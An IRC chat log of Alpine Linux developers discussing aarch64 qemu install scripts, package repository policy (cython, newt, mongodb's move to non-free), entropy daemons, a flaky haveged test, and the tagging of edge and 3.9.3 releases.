2019-04-06 12:38:34 <z3ntu> clandmeter: I don't see anything related to the armhf triplet in there
2019-04-06 14:07:13 <ddevault> _ikke_: oh, it's in edge, got it
2019-04-06 14:08:11 <_ikke_> yes, if something got moved out of testing, it can only be in edge
2019-04-06 15:34:46 <artok> mps: install instructions, between udev start and setup-disk, should have mount /dev/sdb1 /mnt
2019-04-06 15:35:57 <mps> artok: right, did I missed this
2019-04-06 15:37:06 <mps> yes, missed it. thanks for info
2019-04-06 15:41:46 <z3ntu> clandmeter: Or it a bug that functions.sh has muslgnueabihf and not musleabihf in it?
2019-04-06 15:54:56 <artok> mps and on script, mkdir -p $initdir/lib/modules/$kver/kernel/drivers/char/hw_random
2019-04-06 15:55:34 <artok> before trying to copy those rng-core.ko and virtio-rng.ko
2019-04-06 15:56:54 <mps> yes, this is needed because initramfs doesn't have this dir
2019-04-06 16:08:53 <artok> and before setup-disk, ln -s /media/sda1/boot /boot might be good idea also on install instructions =)
2019-04-06 16:09:18 <artok> other than that, I'm now running aarch64 linux under qemu !
2019-04-06 16:11:40 <mps> artok: I don't think that 'ln' is needed, this script is just for 'one time use'
2019-04-06 16:11:50 <mps> why mess with /boot
2019-04-06 16:12:23 <mps> but, will look at your idea, maybe it could be useful
2019-04-06 16:12:31 <artok> setup-disk doesn't populate kernel image to the img without it
2019-04-06 16:13:18 <artok> at least it complained about it
2019-04-06 16:13:38 <artok> and qemu wasn't able to boot
2019-04-06 16:14:00 <mps> at the end, I always do these things 'by hand', and made this guide and script because I bored to answer same questions again and again on IRC :)
2019-04-06 16:14:54 <mps> hmm, in my tests there are no problems to boot final disk image
2019-04-06 16:38:26 <artok> well vmlinuz-vanilla is good to have there =)
2019-04-06 16:38:53 <mps> where?
2019-04-06 16:39:19 <artok> if I didn't do that, qemu complained that it can't find it
2019-04-06 16:40:41 <mps> hmm, strange, didn't had that problem. setup-disk only complains about missing syslinux but this is ok because arm's don't use syslinux
2019-04-06 16:41:32 <mps> could you post error messages to tpaste, please
2019-04-06 16:41:34 <artok> I had complain about /boot
2019-04-06 16:43:01 <mps> which version of tarball you use
2019-04-06 16:43:18 <artok> from script
2019-04-06 16:43:35 <mps> could you post error messages to tpaste
2019-04-06 16:44:00 <mps> boot error I mean
2019-04-06 16:44:11 <artok> I'll create new image first that will give the error
2019-04-06 16:45:14 <mps> you have in a script commented out 'clean' section to remove temporary dirs and files
2019-04-06 16:46:57 <mps> and there are commented lines to use local copy of tarball and u-boot apk, to not download it every time you run script, if link is not fast enough
2019-04-06 16:47:23 <artok> nothing wrong with the script, just install time
2019-04-06 16:48:31 <mps> yes, require patience, qemu run on non native arch
2019-04-06 16:48:49 <artok> ..well yes you could add that ln into the installation image already
2019-04-06 16:49:06 <mps> let me try once more
2019-04-06 16:54:16 <mps> 
ACTION waiting to finish install

2019-04-06 16:57:44 <artok> https://hastebin.com/aduwuwenaq.coffeescript
2019-04-06 16:59:59 <mps> I see, will look when installation finish.
2019-04-06 17:01:28 <mps> have you seen this message during install 'initramfs: creating /boot/initramfs-vanilla'
2019-04-06 17:01:57 <artok> after doing ln -s thingie, yes
2019-04-06 17:02:23 <mps> huh, I didn't 'ln -s' and it is here
2019-04-06 17:02:58 <mps> and I have /mnt/boot with all files
2019-04-06 17:06:02 <mps> huh, did you copied 'cp /media/sda1/extlinux/extlinux.conf  /mnt/extlinux'
2019-04-06 17:06:21 <artok> yeah
2019-04-06 17:06:27 <mps> and edited /mnt/extlinux/extlinux.conf
2019-04-06 17:06:38 <artok> to add root=/dev/sda1
2019-04-06 17:06:43 <mps> yes
2019-04-06 17:06:50 <artok> yeah
2019-04-06 17:07:12 <mps> ok, I will try to reproduce your issue
2019-04-06 17:11:01 <mps> but, I'm mounted aarch64-work.img under host with loop mount and I see /boot with all needed files there
2019-04-06 17:14:03 <artok> after doing ln, setup-disk gives initramfs: creating /boot/initramfs-vanilla
2019-04-06 17:15:32 <mps> ok, I will not say that it is no true in your case and if it works for you do it, just saying that this is not needed in my tests
2019-04-06 17:16:19 <artok> yeah getting working system is the priority, just would be nice to know why this happens
2019-04-06 17:19:40 <mps> actually, I made another script which appears on /media/sda1 when install machine boots, and this script do all needed commands to install on /dev/sdb1, but didn't posted this script because was not sure if it is needed for you
2019-04-06 17:20:49 <mps> here it is: http://tpaste.us/W1OZ
2019-04-06 17:21:04 <mps> even sync and poweroff are there :)
2019-04-06 17:21:51 <ddevault> is there a policy on what to do when a package maintainer's email address bounces? gmail says August Klein's gmail account has been disabled
2019-04-06 17:22:04 <artok> well that is nice addition but in the end there is setup- stuff that need interaction
2019-04-06 17:23:23 <mps> artok: agree, but anyway scripts are helpful for repetitive task
2019-04-06 17:24:26 <mps> ddevault: probably post question on alpine-devel or alpine-aports ML
2019-04-06 17:24:32 <ddevault> aight
2019-04-06 17:24:48 <mps> I did something like this about month ago
2019-04-06 17:26:32 <mps> and few days ago I asked on #alpine-linux is the tcsh maintainer on some Alpine IRC channel, didn't receive answer and I will probably add issue on bugs.a.o about tcsh maintenance
2019-04-06 17:32:31 <mps> artok: again passed everything without 'ln -s'. anyway, could you tell me exact command which solved your problem, I will add it to guide and script in case if someone 'meet' same issue as you
2019-04-06 17:35:14 <artok> mkdir /boot && ln -s /media/sda1/boot /boot/boot
2019-04-06 17:35:20 <artok> if i remember correctly =)
2019-04-06 17:35:38 <artok> I'll get now some pizza, back later
2019-04-06 17:36:04 <_ikke_> hmmm, pizza
2019-04-06 17:37:58 <mps> ok, I will add your comment
2019-04-06 17:38:34 <mps> hmm, maybe should also add _ikke_'s comment :)
2019-04-06 18:33:22 <fcolista> clandmeter, apkbuild-cpan needs perl-lwp-protocol-https to work
2019-04-06 18:33:48 <fcolista> I want to push this: https://dpaste.de/JF24/raw
2019-04-06 18:33:55 <fcolista> but want your blessing first.
2019-04-06 18:34:03 <fcolista> or ncopa ^
2019-04-06 19:02:06 <artok> and the pizza was good
2019-04-06 19:03:32 <_ikke_> :)
2019-04-06 19:03:36 <danieli> fcolista: looks okay to me as long as perl-lwp-protocol-https is in main too
2019-04-06 19:11:33 <artok> now some apkbuild stuff
2019-04-06 19:12:22 <artok> just a question.. is there possibility to have different APKBUILD for different architectures?
2019-04-06 19:12:45 <danieli> no, but you can run some different code in the APKBUILDs depending on the architecture
2019-04-06 19:14:09 <artok> ok so I'll check that. as for wiringpi, I have made modifications to make that work under aarch64 rpi3, and I know that gordon won't easily put those mods to his releases =)
2019-04-06 19:15:09 <artok> ofcoz he might if I can show that it works also under older rpi and 32bit =)
2019-04-06 20:08:15 <_ikke_> How to deal with this? https://github.com/alpinelinux/aports/pull/6936
2019-04-06 20:10:28 <SpaceToast> my understanding is you either move the dependency into main, or move the dependent out of main
2019-04-06 20:11:08 <_ikke_> yes
2019-04-06 20:11:20 <SpaceToast> I'm not sure a desktop-oriented audio library needs to be in main, but ultimately someone from core should decide on that
2019-04-06 20:12:04 <_ikke_> libcanberra is required by libgnome, which is also in main
2019-04-06 20:12:31 <SpaceToast> from what I know, main is meant to be kind of a self-hosted/contained build for embedded devices
2019-04-06 20:12:39 <SpaceToast> I don't really see a router running gnome
2019-04-06 20:12:58 <SpaceToast> but yeah, if we want to move canberra out of main, we'd be moving a few other stuff out too
2019-04-06 20:14:22 <_ikke_> not sure if it's about embedded devices
2019-04-06 20:14:47 <danieli> i think it's meant to be the packages that are required to be a self-hosting OS
2019-04-06 20:14:52 <danieli> not 100% sure tbh
2019-04-06 20:18:49 <_ikke_> libcanberra is currently unmaintained
2019-04-06 20:57:00 <gouchi> Hi
2019-04-06 20:57:08 <danieli> hello
2019-04-06 20:57:20 <gouchi> I try to package a software and I running this issue
2019-04-06 20:57:30 <gouchi> https://pastebin.com/raw/bhP8dagu
2019-04-06 20:57:55 <danieli> gouchi: you need directfb-dev as a dependency
2019-04-06 20:58:03 <danieli> https://pkgs.alpinelinux.org/contents?file=directfb.h&path=&name=&branch=edge&arch=x86_64
2019-04-06 20:58:03 <gouchi> I have in  makedepends  sdl2-dev and directfb-dev
2019-04-06 20:58:12 <danieli> hm, it's not including it for some reason then
2019-04-06 21:08:26 <gouchi> so updating sdl 2.0.9 removes some patches regarding directfb so I presume that thoses patches have been "upstreamed"
2019-04-06 21:08:29 <gouchi> https://git.alpinelinux.org/aports/commit/main/sdl2/APKBUILD?id=9d9932f541e6eb3df0c1d307b11a203d270aa535
2019-04-06 21:08:45 <gouchi> sorry I did not see the log :)
2019-04-06 21:08:46 <gouchi> The previously required patches were added upstream
2019-04-06 21:08:47 <danieli> that's what the commit messages says
2019-04-06 21:08:48 <danieli> yeah
2019-04-06 21:19:31 <artok> is there any info on how to have different source repo for different arch ?
2019-04-06 21:29:32 <_ikke_> source repo? You mean source?
2019-04-06 21:32:43 <artok> yeah source
2019-04-06 21:32:53 <_ikke_> artok: I think it should be a different package then
2019-04-06 21:33:07 <_ikke_> different source == different package
2019-04-06 21:33:18 <artok> ok
2019-04-06 22:19:22 <artok> well. now only if I had my rpi here I could test the apk
2019-04-06 22:22:27 <mps> artok: finished to make development environment under qemu?
2019-04-06 22:22:33 <artok> yeah
2019-04-06 22:22:49 <mps> your impression, please :)
2019-04-06 22:23:15 <artok> well I need to really stress test that one, but for small 4core build, it worked
2019-04-06 22:23:40 <mps> how much RAM you use and number of CPU's
2019-04-06 22:24:09 <mps> and you done it under macos?
2019-04-06 22:24:23 <artok> yeah macos version of qemu
2019-04-06 22:24:45 <mps> very good, congrats :)
2019-04-06 22:25:17 <artok> 4core, just 2G at the moment allocated to the qemu
2019-04-06 22:25:52 <mps> 2G is quite fine if you don't build big software
2019-04-06 22:26:34 <mps> I built firefox with 4G and with a help of small zram swap
2019-04-06 22:26:37 <artok> for the moment, I'm good with that, but larger ones, adding swap and 8G ram
2019-04-06 22:28:26 <mps> try to build rust on 8G ram ;)
2019-04-07 12:48:30 <dimon222[m]> 
ACTION sent a long message:  < https://matrix.org/_matrix/media/v1/download/matrix.org/hQYDSvsthkeZuIvRwlyrEugm >

2019-04-07 18:11:11 <p4Wv1qn095FW> i have a lib that i want to package, but it uses ifunc for selecting an hw backend at runtime. is there anyway to build such lib without rewriting the ifunc parts into something portable?
2019-04-08 08:38:27 <tmhoang> I just spent the weekend to put openssh/dropbear into initramfs so that I can have encrypted / (along with unencrypted /boot), then push on cloud provider.
2019-04-08 08:38:45 <tmhoang> it was pretty easy with Alpine :)
2019-04-08 08:40:14 <tmhoang> it wasn't easy with aws who dosen't provide serial console. gcp provides one though. I think I will create a wiki page for that.
2019-04-08 08:46:17 <mps> tmhoang: very nice :) I had similar idea but never found time for that. Will read your wiki with pleasure
2019-04-08 08:46:37 <mps> btw, what is 'gcp'
2019-04-08 08:46:41 <tmhoang> google cloud
2019-04-08 08:46:50 <mps> ah, thanks
2019-04-08 08:47:02 <tmhoang> :D
2019-04-08 08:47:28 <mps> what is 'TLA' :D
2019-04-08 08:48:40 <tmhoang> along the way, I realized that main/haveged create much better entropy for qemu vm than community/rng-tools. TLA ? I don't know much about it.
2019-04-08 08:49:41 <mps> I'm kidding with TLA, Three Letter Acronim
2019-04-08 08:50:05 <tmhoang> you got me
2019-04-08 08:50:19 <mps> rng-tools require hwrng, iirc
2019-04-08 08:51:04 <tmhoang> it seems aws more popular that gcp, even I find gcp kind of more intuitive, and less learning curve.
2019-04-08 08:51:11 <tmhoang> yes I just learned about that yesterday
2019-04-08 08:51:42 <mps> for VM's you can try with wirtio-rng and rng-tools, although I didn't, haveged is good enough
2019-04-08 08:52:20 <_ikke_> tmhoang: How do you measure the quality of entropy?
2019-04-08 08:52:45 <tmhoang> _ikke_: I don't measure quality, I just check for number of available entropy.
2019-04-08 08:52:56 <_ikke_> right, so s/better/more :)
2019-04-08 08:52:59 <tmhoang> people better than me do it :D
2019-04-08 08:53:10 <_ikke_> The quality could be worse
2019-04-08 08:53:22 <tmhoang> cat /proc/sys/kernel/random/entropy_avail ?
2019-04-08 08:54:35 <_ikke_> I just realized what I said didn't make sense regarding to entropy :)
2019-04-08 09:19:10 <artok> quality of entropy, I like that =)
2019-04-08 09:19:59 <_ikke_> hehe :D
2019-04-08 09:24:47 <p4Wv1qn095FW> the quality of entropy can be measured by the probability of predicting it.
2019-04-08 09:25:11 <AinNero> erm. isnt that a lack of entropy then?
2019-04-08 09:25:23 <p4Wv1qn095FW> it's a scale, not binary
2019-04-08 09:25:28 <AinNero> yeah
2019-04-08 09:25:51 <p4Wv1qn095FW> if you can have 50-100% chance of predicting a bit.
2019-04-08 09:25:56 <AinNero> but bad entropy is just no entropy then
2019-04-08 09:26:03 <AinNero> either you have it or you dont
2019-04-08 09:26:06 <p4Wv1qn095FW> 50% is high entropy. 100% is no entryp
2019-04-08 09:26:24 <p4Wv1qn095FW> but you can make high entropy out of low entropy
2019-04-08 09:26:43 <AinNero> i doubt that
2019-04-08 09:26:57 <_ikke_> I've heard that entropy only adds up
2019-04-08 09:27:29 <p4Wv1qn095FW> the laws of thermodynamics \o/
2019-04-08 09:49:19 <clandmeter> danieli: you have experiance with cython?
2019-04-08 09:49:51 <danieli> clandmeter: some, but i've used the python/c api more
2019-04-08 09:49:52 <danieli> what's up?
2019-04-08 09:50:08 <clandmeter> cython is a kind of compiler right?
2019-04-08 09:50:19 <_ikke_> compiler / transpiler
2019-04-08 09:50:22 <danieli> yes
2019-04-08 09:50:29 <clandmeter> or would never be a direct dependency?
2019-04-08 09:50:34 <clandmeter> it
2019-04-08 09:50:42 <clandmeter> s/or/it
2019-04-08 09:50:42 <alpine-meetbot> clandmeter meant to say: it would never be a direct dependency?
2019-04-08 09:50:49 <danieli> if you have a package that is a cython codebase, you'd need cython
2019-04-08 09:50:52 <clandmeter> as in runtime
2019-04-08 09:51:12 <clandmeter> in runtime or when its build?
2019-04-08 09:51:14 <danieli> runtime dependency doesn't really make sense to me
2019-04-08 09:51:30 <clandmeter> i guess in some weird cases it could be.
2019-04-08 09:51:44 <danieli> well, if some software invokes cython to do stuff, then yeah, i guess
2019-04-08 09:51:56 <clandmeter> we currently ship -dev pkg with cython
2019-04-08 09:52:06 <clandmeter> almost like you can use it like a lib
2019-04-08 09:52:10 <danieli> do you have a concrete example?
2019-04-08 09:52:24 <clandmeter> and i see some pkgs have cython in depends
2019-04-08 09:52:48 <clandmeter> for instance py-rencode
2019-04-08 09:52:55 <danieli> py-rencoe, py-opengl-accelerate, py-cassandra-driver
2019-04-08 09:53:36 <danieli> in arch, cython is in makedepends, not depends
2019-04-08 09:53:42 <danieli> (for rencode)
2019-04-08 09:54:02 <clandmeter> https://github.com/alpinelinux/aports/pull/6244
2019-04-08 09:54:07 <clandmeter> thats what im talking about
2019-04-08 09:54:33 <danieli> why rename it to py-cython?
2019-04-08 09:54:49 <clandmeter> because some ppl are confused
2019-04-08 09:55:00 <clandmeter> there is no real policy, so we need one.
2019-04-08 09:55:03 <danieli> strictly speaking, it's a different language that is a superset of python *and* it's a python module
2019-04-08 09:55:35 <clandmeter> i dont think we need to rename
2019-04-08 09:55:53 <danieli> if it was purely a python thing, i'd be all for that, but this isn't python, it's cython
2019-04-08 09:56:24 <clandmeter> the part im not sure about is the -dev. i think we can remove it to prevent confusion.
2019-04-08 09:56:33 <clandmeter> and update all packages that depends on it.
2019-04-08 09:58:46 <clandmeter> maintainers now think, hey this project is cython based so we need to add cython-dev to makedepends and explicitly depend on cython.
2019-04-08 10:44:38 <clandmeter> seems we have quite a few duplicate aports (or pkgnames) in our tree https://tpaste.us/kZww
2019-04-08 10:58:26 <kmaxwell> clandmeter: think some are just pkgnames, looked at newt as an example
2019-04-08 10:58:27 <kmaxwell> in main - "Redhat's Newt windowing toolkit development files"
2019-04-08 10:58:27 <kmaxwell> but in testing - "Apache Newt is a smart build and package management tool for
2019-04-08 10:58:30 <kmaxwell> Apache Mynewt Operating System"
2019-04-08 11:02:33 <mps> newt (TUI system) is in unix for decades and well known
2019-04-08 11:14:13 <kmaxwell> I hadn't heard of Apache mynewt before, maybe the package in testing should be called mynewt-newt?
2019-04-08 11:14:20 <kmaxwell> to match arch? https://repology.org/project/mynewt-newt/versions
2019-04-08 11:20:52 <clandmeter> kmaxwell: pkgname cannot conflict, it will break things.
2019-04-08 11:21:13 <clandmeter> but could be the directory i grepped for is not the same as pkgname
2019-04-08 11:24:06 <kmaxwell> clandmeter:as far as i can see both have exactly the same pkgname
2019-04-08 11:24:10 <kmaxwell> https://git.alpinelinux.org/aports/tree/main/newt/APKBUILD#n2 and https://git.alpinelinux.org/aports/tree/testing/newt/APKBUILD#n3
2019-04-08 11:24:39 <kmaxwell> which seems like a bad idea!
2019-04-08 11:24:47 <danieli> it does indeed
2019-04-08 11:36:33 <ncopa> hey
2019-04-08 11:36:48 <ncopa> kmaxwell: i noticed the same. testing/newt needs to be renamed
2019-04-08 11:37:48 <ncopa> im gonna tag edge release snapshot now
2019-04-08 11:38:01 <kmaxwell> ncopa: I am working on a PR :-)
2019-04-08 11:38:18 <tmhoang> how often we would like to make edge snapshot ?
2019-04-08 11:38:25 <kmaxwell> want to get a couple of go packages into testing so its hopefully a chance to learn
2019-04-08 11:38:28 <tmhoang> last time there was a discussion but I missed. sorry.
2019-04-08 11:38:46 <ncopa> tmhoang: the idea is approx once a month
2019-04-08 11:38:56 <tmhoang> interesting. thanks.
2019-04-08 11:38:58 <ncopa> and edge snapshots are very lightweight
2019-04-08 11:39:04 <tmhoang> yes
2019-04-08 11:39:05 <ncopa> no iso image
2019-04-08 11:39:15 <ncopa> just minirootfs and netboot
2019-04-08 11:40:34 <mps> ncopa: what about moving iwd from testing to community? I know it is against policy but you intended to have it in next release
2019-04-08 11:40:52 <ncopa> mps: that should not be any problem
2019-04-08 11:41:39 <mps> for me it is not problem if it stays needed time in testing, personally
2019-04-08 11:42:07 <mps> I use it as it is now
2019-04-08 11:42:40 <mps> oh, and sorry, didn't had time last days to work on rust
2019-04-08 11:44:14 <mps> oh, if you plan to move iwd first upgrade it to 0.16 from patchwork
2019-04-08 11:55:31 <kmaxwell> are parameter expansions like ${pkgver//./_} OK in an APKBUILD? I think they're not in POSIX
2019-04-08 11:57:41 <mps> kmaxwell: there are a lot of them in APKBUILDs
2019-04-08 12:18:11 <ncopa> kmaxwell: that is the exception we accept, but prefer avoid if possible
2019-04-08 12:23:01 <kmaxwell> thanks both, I understand
2019-04-08 12:28:06 <ncopa> edge snapshot tagged
2019-04-08 12:28:15 <clandmeter> what about stable?
2019-04-08 12:28:28 <ncopa> probably later today
2019-04-08 12:28:35 <ncopa> i need update kernels
2019-04-08 12:28:47 <ncopa> so probably tonight or tomorrow
2019-04-08 12:46:53 <tboerger[m]> hey, have mongodb been dropped from edge?
2019-04-08 12:47:07 <AinNero> moved to non-free afaik
2019-04-08 13:15:05 <tmhoang> 3.10_alpha20190408
2019-04-08 13:15:07 <tmhoang> nice
2019-04-08 13:16:42 <ncopa> tboerger[m]: due to the license change iirc
2019-04-08 13:20:29 <kmaxwell> I submitted a PR to rename mynewt-newt ( https://github.com/alpinelinux/aports/pull/6977 ) that just leaves 21 packages on clandmeter's list :-)
2019-04-08 13:29:50 <tboerger[m]> AinNero:
2019-04-08 13:29:56 <tboerger[m]> AinNero:  non-free?
2019-04-08 13:30:16 <tboerger[m]> ncopa: i thought so... so no way to get it anymore?
2019-04-08 13:30:33 <danieli> you could compile it yourself
2019-04-08 13:30:39 <ncopa> i guess you can get it from upstream
2019-04-08 13:30:41 <danieli> but it's thanks to their SSPL
2019-04-08 13:30:49 <ncopa> ask upstream to build package for you
2019-04-08 13:30:55 <ncopa> or provide docker image
2019-04-08 13:30:58 <clandmeter> heh
2019-04-08 13:31:28 <tboerger[m]> i want to install it within my docker image... so far i did it with the alpine package ;)
2019-04-08 13:32:29 <tboerger[m]> https://github.com/dockhippie/mongodb/blob/master/latest/Dockerfile.amd64 looks like i got to compile it on my own or use ubuntu as for the arm images :(
2019-04-08 13:34:25 <ncopa> i guess the best thing to do is to report it upstream
2019-04-08 13:34:26 <SpaceToast> tboerger[m]: mongo switched to a new license called the SSPL, they tried to get it into the OSI, but there was resistance, at which point they stopped attempting to do so - therefore it is not FOSS and is in non-free
2019-04-08 13:35:05 <SpaceToast> Re: OSI resistance, they had trouble accepting the AGPL as is (it mostly got in because one existing member pushed pretty hard), and the SSPL is basically the AGPL but even stricter
2019-04-08 13:38:00 <tboerger[m]> yeah got it that it's not really FOSS anymore because of the license. but what do you mean by "is in non-free"? is there some non-free repo for alpine? i only know about main, testing and community.
2019-04-08 13:38:28 <SpaceToast> We don't build non-free packages, but they exist in the aports tree (git)
2019-04-08 13:38:43 <SpaceToast> You could set up a non-free binary repository if you really wanted to
2019-04-08 13:38:54 <ncopa> we could have moved mongodb to the non-free directory
2019-04-08 13:39:30 <AinNero> mongodb got moved into the non-free dir in aports
2019-04-08 14:45:22 <clandmeter> kmaxwell: thx
2019-04-08 15:06:45 <tmhoang> @ncopa: Have you finished snapshot-ing edge ? Should we backport patches on Alpine projects (abuild, mkinitfs) so they got built in edge then we can test them ?
2019-04-08 15:07:50 <tmhoang> would be useful for netboot + rootfs to have those changes
2019-04-08 15:09:28 <tmhoang> oh you did it. anyway.
2019-04-08 15:10:06 <ncopa> tmhoang: yes i updated abuild atleast
2019-04-08 15:10:24 <tmhoang> I wish I remembered to backport mkinitfs ...
2019-04-08 15:10:27 <ncopa> tmhoang: what patches is needed for v3.9?
2019-04-08 15:10:36 <tmhoang> no for 3.9, just for edge
2019-04-08 15:11:01 <ncopa> im about to tag new v3.9 release so i wonder if you have anything for v3.9
2019-04-08 15:11:04 <tmhoang> the last few changes in mkinitfs regarding clock source + https/dhcp files from clandmeter
2019-04-08 15:11:11 <tmhoang> ncopa: let me think
2019-04-08 15:11:16 <tmhoang> 1 sec
2019-04-08 15:11:49 <tmhoang> ncopa: maybe backport my  mkinitfs patch for s390x. that's all. thanks
2019-04-08 15:11:59 <tmhoang> let's see how it goes ...
2019-04-08 15:22:54 <ncopa> which mkinitfs patch?
2019-04-08 15:23:04 <tmhoang> 1 sec
2019-04-08 15:23:27 <ncopa> found it
2019-04-08 15:23:30 <tmhoang> thanks
2019-04-08 15:23:36 <ncopa> commit e73ba064d23e82cc915d80145294b557f9424678
2019-04-08 15:23:36 <ncopa> Author: Tuan Hoang <tmhoang@linux.ibm.com>
2019-04-08 15:23:36 <ncopa> Date:   Mon Mar 11 17:57:10 2019 +0100
2019-04-08 15:23:36 <ncopa>     init: use hwclock on s390x
2019-04-08 15:25:26 <ncopa> looks like we dont have that patch for edge either
2019-04-08 15:25:35 <tmhoang> ncopa: yes I didn't backport
2019-04-08 15:25:57 <tmhoang> so smart
2019-04-08 15:26:09 <SpaceToast> ping ncopa, any updates on alpine-conf#21?
2019-04-08 15:26:23 <SpaceToast> no, not that one algitbot... (also re: draft in #a-docs)
2019-04-08 15:27:36 <ncopa> not yet
2019-04-08 15:28:17 <ncopa> clandmeter: do you think we can tag mkinitfs-3.4.2 release? the changes are relatively non-controversial
2019-04-08 15:28:23 <ncopa> ono intrusive
2019-04-08 15:28:24 <SpaceToast> also: are builders on abuild ~3.4 yet? (I'm still waiting on sending the security patch for minio, don't exactly want to stall the builders)
2019-04-08 15:28:26 <ncopa> non-intrusive
2019-04-08 15:28:59 <ncopa> SpaceToast: they should be
2019-04-08 15:29:15 <SpaceToast> ok, I'll send that in this evening then
2019-04-08 15:29:34 <SpaceToast> should I re-sent the draft link in #a-docs? (given that you had a ping timeout and might have a buffer clear as a result)
2019-04-08 15:31:43 <ncopa> the only change i want for sending it to ml is the one that says "complaints must be actionable" to something like "preferrible actionable"
2019-04-08 15:33:00 <ncopa> i want people who feel bad about it be able express that, even if they dont have any suggestion how to fix it
2019-04-08 15:58:20 <SpaceToast> ok
2019-04-08 15:58:30 <tcely> When can we get the bind fixes merged? https://github.com/alpinelinux/aports/pull/6940
2019-04-08 15:58:34 <SpaceToast> "complaints should preferrably be actionable" is fine :)
2019-04-08 15:58:43 <SpaceToast> I'll send it tonight after submitting the minio patch
2019-04-08 16:37:29 <kmaxwell>  /reload
2019-04-08 17:15:41 <ncopa> \o/
2019-04-08 17:15:57 <ncopa> i have a fix for python3 aarch64 rpi3
2019-04-08 17:25:31 <ncopa> tcely: pushed. thanks
2019-04-08 17:29:41 <artok> wowo
2019-04-08 17:46:40 <HRio> ncopa: can you also push whats now left of this? https://github.com/alpinelinux/aports/pull/6833/commits thanks
2019-04-08 17:59:08 <tcely> ncopa: thank you!
2019-04-08 18:14:38 <ncopa> HRio: why does dronCI fail?
2019-04-08 18:15:16 <danieli> it's... complaining about not being able to build main/haveged? what?
2019-04-08 18:16:30 <HRio> ncopa: not sure, I only changed the haveged.initd
2019-04-08 18:17:05 <HRio> https://github.com/alpinelinux/aports/pull/6833#issuecomment-476393378
2019-04-08 18:18:20 <tcely> The check failed
2019-04-08 18:18:36 <tcely> See around line 345
2019-04-08 18:18:44 <tcely> https://cloud.drone.io/alpinelinux/aports/1243
2019-04-08 18:20:20 <tcely> Maybe I'm missing something, but that range 1-99% seems strange to me.
2019-04-08 18:21:38 <tcely> HRio: Does this happen if you rebase and have DroneCI test again?
2019-04-08 18:23:11 <hrio[m]> Just rebased as one of my commits in the PR where just pushed to master.
2019-04-08 18:24:26 <tcely> https://cloud.drone.io/alpinelinux/aports/1165/1/2
2019-04-08 18:24:44 <tcely> Seems like it's not guaranteed to fail based on this old result.
2019-04-08 18:26:45 <tcely> That test just seems fishy to me.
2019-04-08 18:27:09 <tcely> Anytime the sample computes 0-1% or 99-100% it fails.
2019-04-08 18:34:09 <tcely> ncopa: Can you tell me why fossil is in main? https://github.com/alpinelinux/aports/pull/5140
2019-04-08 18:36:25 <ncopa> tcely: git log tells me that it was moved to main in Aug 2015
2019-04-08 18:36:36 <ncopa> and that community was added in Sept 2015
2019-04-08 18:37:00 <ncopa> so i guess the answer is, because community didnt exist back then
2019-04-08 18:37:03 <tcely> Ah. That explains it.
2019-04-08 18:38:25 <ncopa> tcely: thank you for taking over maintainership of it
2019-04-08 18:38:27 <ncopa> appreciate
2019-04-08 18:39:46 <tcely> ncopa: you're welcome. I'm going to push the move to community shortly.
2019-04-08 18:44:12 <ncopa> i dont think you can
2019-04-08 18:44:19 <ncopa> you may need access to remove from main
2019-04-08 18:45:04 <tcely> Oh. I'm sure I can't. I was just notifying that another commit was forthcoming.
2019-04-08 18:45:44 <ncopa> oh :)
2019-04-08 18:46:09 <ncopa> looks like it passed droneCI so i pushed
2019-04-08 18:47:09 <tcely> great!
2019-04-08 19:49:42 <ollieparanoid[m]> clandmeter, ncopa: hey folks! can you fast track this fix for libical? https://github.com/alpinelinux/aports/pull/6986
2019-04-08 19:59:18 <kmaxwell> is that error a result of unsetting depends for sub packages? https://github.com/alpinelinux/abuild/commit/8fbbffd201a28a06804c7f6d3a2b5cd948c6ce07
2019-04-08 20:00:20 <ollieparanoid[m]> kmaxwell: I don't think so, because db-dev is not part of libical's depends, only of its makedepends
2019-04-08 20:00:50 <ollieparanoid[m]> (to make stuff build, libical-dev needs to depend on db-dev)
2019-04-08 20:01:31 <kmaxwell> cool, thank you for explaining, I see what is happening now
2019-04-08 20:02:20 <ollieparanoid[m]> yw :)
2019-04-08 20:03:27 <ollieparanoid[m]> I have forked the package to postmarketOS for now, with the fix applied. but it would be nice if somebody could review/merge this tomorrow
2019-04-08 20:03:49 <_ikke_> ollieparanoid[m]: I can't merge, but one tip: please prefix the repository in the commit subject
2019-04-08 20:04:27 <ollieparanoid[m]> ikke: thanks, will do!
2019-04-08 20:04:58 <_ikke_> main/libical: ...
2019-04-08 20:06:18 <ollieparanoid[m]> yep, done
2019-04-08 20:06:48 <ncopa> ollieparanoid[m]: fix is wrong
2019-04-08 20:06:52 <ncopa> or problematic
2019-04-08 20:07:14 <ncopa> we should use depends_dev there
2019-04-08 20:07:30 <ollieparanoid[m]> because of depends="$depends .."?
2019-04-08 20:07:40 <ollieparanoid[m]> I saw the discussion on the ML, but I don't know what the proper way would be to do it
2019-04-08 20:08:01 <ollieparanoid[m]> ah, I didn't know about that variable
2019-04-08 20:08:23 <ollieparanoid[m]> I'll update the patch
2019-04-08 20:08:26 <ollieparanoid[m]> thanks
2019-04-08 20:17:24 <ollieparanoid[m]> ncopa: updated and tested
2019-04-08 20:30:11 <ncopa> here comes 3.9.3 release
2019-04-08 20:43:03 <ncopa> anything particular we should mention in the release notes? https://tpaste.us/650a
2019-04-08 20:44:35 <danieli> i don't see anything sticking out like a sore thumb
2019-04-08 20:45:33 <ncopa> https://wwwtest.alpinelinux.org/posts/Alpine-3.9.3-released.html
2019-04-08 21:19:30 <HRio> tcely: https://github.com/alpinelinux/aports/pull/6833/commits/3d34e7bc9fa3d794f4ff0aa888693d3382005dcd
2019-04-08 21:33:44 <pcamlepo> I've seen your plans for 3.10 release on mail 👍
2019-04-08 21:34:30 <pcamlepo> Just want to mention that I am still using armv6
2019-04-08 21:34:56 <SpaceToast> pcamlepo: thanks a lot for mentioning that - there are definitely far more people running it than we thought
2019-04-08 21:35:13 <SpaceToast> would you have any interest in helping keeping armv6 running?
2019-04-08 21:36:16 <pcamlepo> And would be great to get a more recent version of Perl
2019-04-08 21:37:19 <pcamlepo> 5.28 deals better with unicode
2019-04-08 21:38:32 <pcamlepo> thanks for running this project
2019-04-08 21:38:57 <SpaceToast> ¯\_(ツ)_/¯
2019-04-08 21:45:59 <tcely> HRio: doubling the samples will help stay in range?
2019-04-08 21:46:43 <kmaxwell> ls
2019-04-08 22:02:11 <HRio> its a statistical test of the data. Upstream have bumped samples before do decrease the risk of test failure. Even a good random number generator could fail the test every now and then.
2019-04-08 22:02:22 <HRio> s/do/to/
